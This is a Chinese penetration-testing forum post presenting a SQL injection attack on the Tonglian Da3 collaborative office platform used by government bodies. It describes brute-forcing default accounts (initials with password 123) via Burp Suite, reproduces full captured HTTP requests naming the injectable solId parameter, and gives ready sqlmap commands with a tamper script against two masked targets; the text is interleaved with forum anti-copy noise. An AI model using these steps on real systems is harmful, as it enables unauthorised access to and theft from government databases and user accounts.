中国网络渗透测试联盟

标题: 同联Da3协同办公平台前台通用sql injection漏洞 [打印本页]
作者: admin    时间: 2018-10-20 20:15
标题: 同联Da3协同办公平台前台通用sql injection漏洞

, M/ H' ]/ z& W3 J9 D! P! Y( ^
& ?; a8 b. J% h8 _6 L3 p- x# y

: p; t7 X0 A* Q! \

, `8 C( r. _: o. S8 Y 平台简介： , k( E) ]: R9 O. `

) D, s9 }7 @) I* T" O7 l

( l! L8 T. R: h0 `  ' P$ @" D+ H8 x9 j% S: E" M

9 t0 v2 o. R8 R* b6 ^ X5 I6 a

! v- H/ e! b* t 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
. N; P0 B& C0 d: \同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
, M6 I# v( u, ] 同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ - C+ f9 A* K& j

# j j" ^" t' y% H5 G& d

' H# ~& r$ Z9 F( g. L- u) t2 T   % k( ^) X6 H6 Q8 B1 o$ r" Q

6 o/ l, z4 a1 ~0 I. ?, l) J

, B8 S9 p1 g% M% Q- m7 D- E3 n" e 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 4 b+ ]6 Z4 `* ]4 L8 t

# U: P* ]* Q3 N# V0 \. Y

3 e$ X0 V! e: _& O   & T2 S* u7 e( _/ f9 }

! A# C% O# D) U, A. }" g

a: h# ?% P4 i: ~% N* k& u) [ http://1.1.1.1:7197/cap-aco/#（案例2-） _ d) C) ^# d$ R& x

6 S+ c* h$ a3 x! h: r$ v3 M# L

* v* y. I, H3 c0 M/ `! v( J http://www.XXOO.com （案例1-官网网站） 7 R' Z! X3 ?7 f3 J6 Q2 Y

0 Y$ |* O3 M# E- H; q

y8 n# w+ y4 L9 V) ~   9 S: L. b+ e/ }# q6 o1 V3 O

5 H$ ?! _( U {3 T0 c* V- {

3 V( s. F1 i3 i/ @ ?% |$ i 漏洞详情: 3 u1 k9 n6 O: C6 c8 h

. ]% X1 O$ }# k/ Y" @; r( e

6 v: F7 f O& K$ T% A8 D/ F" c; G" o  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 6 c& c: w$ t( t8 p

) Z! R2 [% R( I7 j

6 G( m. S. C, ^, p6 C) J0 O' s( F      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：- M4 B1 V2 {! d# Y L

' ?; y K6 u- D) W: c6 d$ t3 k" r

7 a( w; U( a2 E. A2 d   g. z6 U8 Z4 V4 _8 ~, D" c( |

2 m Q& X; u7 k& l1 q& \( E

' ]. b) a9 r( \) p- N0 J8 q# k* @  # ~) O* K( E$ M$ o- r- d# V6 ^

) R( l. e T, V9 m6 C

; a8 _: h2 V& k6 X3 I status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：1 h) L) b2 }9 \ u+ g% s

5 i2 ]2 ~# W7 \2 g7 J# g9 K

2 K' _: {9 b+ W6 @" D 1、案例1-官方网站/ i- G2 H( l; V$ ]) C. q3 ?

4 p/ e1 m$ l5 N

% `7 r. g' O! |! ?5 {+ { GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1/ a; f3 ]( X" ^; S& e- V. y

6 g; K3 J. U! s6 T! t5 L

b* H( j# {3 k: C Y. ?; e Host: www.XXOO.com * G9 c- g" v5 K G W

6 i# S/ y; B) {) f j- G

7 v: _ E* w! @' |# n, r5 Z Proxy-Connection: Keep-Alive# T. d! B% `, Z' }- L; w

. e1 e0 s8 P. `! f: f; a" v

2 x1 v$ L9 Y% B( o6 \ Accept: application/json, text/javascript, */*; q=0.01 / ]8 I3 f% Z+ x. S7 u- ?

# F, L9 s7 O* @8 E) Z D2 ^8 Y- t

{$ J- l$ k! U4 C2 S Accept-Language: zh-CN$ l' D) w" r: } B" |- g. [

, U% R- [0 y3 ^8 I

* L0 |* e! u# F! V* `' l Content-Type: application/json7 Y2 G* e. m% ?' _4 f2 ?4 j9 n

2 Y+ e! f G7 D6 I9 F- W

& t, P3 |4 |$ v2 n! O* B- p; { User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko5 W! q3 E: [& ~( W9 m

% q: c6 P% r$ m' E) M

; U/ t9 L) _) E: _* a0 T4 F, q X-Requested-With: XMLHttpRequest% \. F M. F. y5 J# w* T! ?$ R

& I3 ?& h! S* Q" I* p6 @/ w

/ L2 ^; }- f8 ]6 i9 v& W Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 9 t% L+ C' I/ q" ^

) D$ |2 c6 Q7 ~8 I

. g0 x) V( V! ]- |& ^7 E2 g Accept-Encoding: gzip, deflate, sdch 1 _6 W0 |7 L4 z/ D3 {' k* _

8 d" h* e/ }2 E

+ t6 @7 e2 y( ~1 z9 c( V4 C Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e& O! {( S" K* Y! D

* j4 Y, _$ x, w+ f3 A

' e$ [; P& Q2 I7 r+ [+ P. k4 E 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: ' D6 ^( ^9 F% P0 A. O

+ L" x4 c5 e. M, ^

; e8 p, E% Z) z, k9 r  : y7 h( a- Y, X" G' t! @2 T; J9 k

& A+ r \1 L- m6 x8 x; O! L

$ b; \4 d6 m0 t: v2 b' |   [% S" i9 k7 `; p

9 b! q1 c; w6 ^: J4 R4 g

}8 J9 \* f- l, E$ t  ; l/ ~# X# ]$ }% b$ Q9 v

f7 ?6 r6 p4 i5 [

% ]( L/ L8 d+ Q& F2 A+ Y  7 A0 ^: f( `% a2 N: G

2 a2 R4 k6 H3 j; u8 Q( {1 t: m

$ ?8 f$ G3 I4 h! Y6 W; ]  9 a+ x) B" X2 l/ f- E

8 M3 Y. {$ F5 J' i& j1 d; X

! A8 @1 w6 W \( j: f 2、案例2-某天河云平台 ) l0 c7 e* i6 c/ _. _

( g8 O) R( `. g

% U/ O( j) n4 t/ f9 S! R GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1, v' |/ R* k0 t8 T, C

* G5 B, q" |" e7 y* C: e' m P

, Y% d9 S8 d# X) }8 M P/ v" i Host: 1.1.1.:7197 , O! q8 z$ C+ S% O5 U# z+ d6 A

/ W5 i3 ~4 A6 M7 A! Q) |

, c! S6 G5 K8 M' V4 A! ` Accept: application/json, text/javascript, */*; q=0.012 a: ?- L4 H7 X4 H( W4 `$ k$ C

: s: t' Q W8 C# Q. T f

; h) ]$ S9 f2 D; w X-Requested-With: XMLHttpRequest5 N/ c: ~/ Z, t- ~3 |

! h# |+ O0 V& m4 R

) ~" u* t( u8 O( o V1 `1 Z6 W User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.08 J$ q2 \2 s( y

5 D( C$ _+ \: ^! r3 M1 V

- r) k! ?! u2 [/ J: {' } Content-Type: application/json 4 i$ I% t2 C K2 j& S6 z% S7 F! }' b

2 B( k) R' u8 @/ {+ c7 ?3 G

: j% Z$ g0 H- }6 i Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 - \6 c% W) U2 v7 D6 m7 a6 y$ I% T

2 {( \; p1 c5 T

4 T4 ^" n8 F0 Y2 d8 j" q3 ` Accept-Language: zh-CN,zh;q=0.8$ U3 v( A+ r5 c8 q2 @

/ q' {. U4 ?; x- ~% E1 I. q

, G3 m1 F- j+ ^# d Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 " p( K/ C& \; A0 |6 j* K' e

* c4 A9 {4 b- E* ]) s3 E, P g" h

0 D/ `' Z* _. {' S& _( O1 F% p% a+ ^ Connection: close ( a& \& U$ B3 Q; M

- V' t( c4 b6 r0 @( t. H

6 E! U* Q4 K" p$ z o4 o" Q4 s' V# k) K9 U 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: . Y9 @" ^: f( z; ]( N+ J: `

3 K0 w+ S" e" Z

6 I( S: D7 W2 Y. |8 w7 A2 I" M   # n0 _: C3 r+ W

4 s, M( U! O; J1 N' L! E

" c* k1 |8 d* _$ a, _! h
1 d8 d4 D3 g! |( ^+ a





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2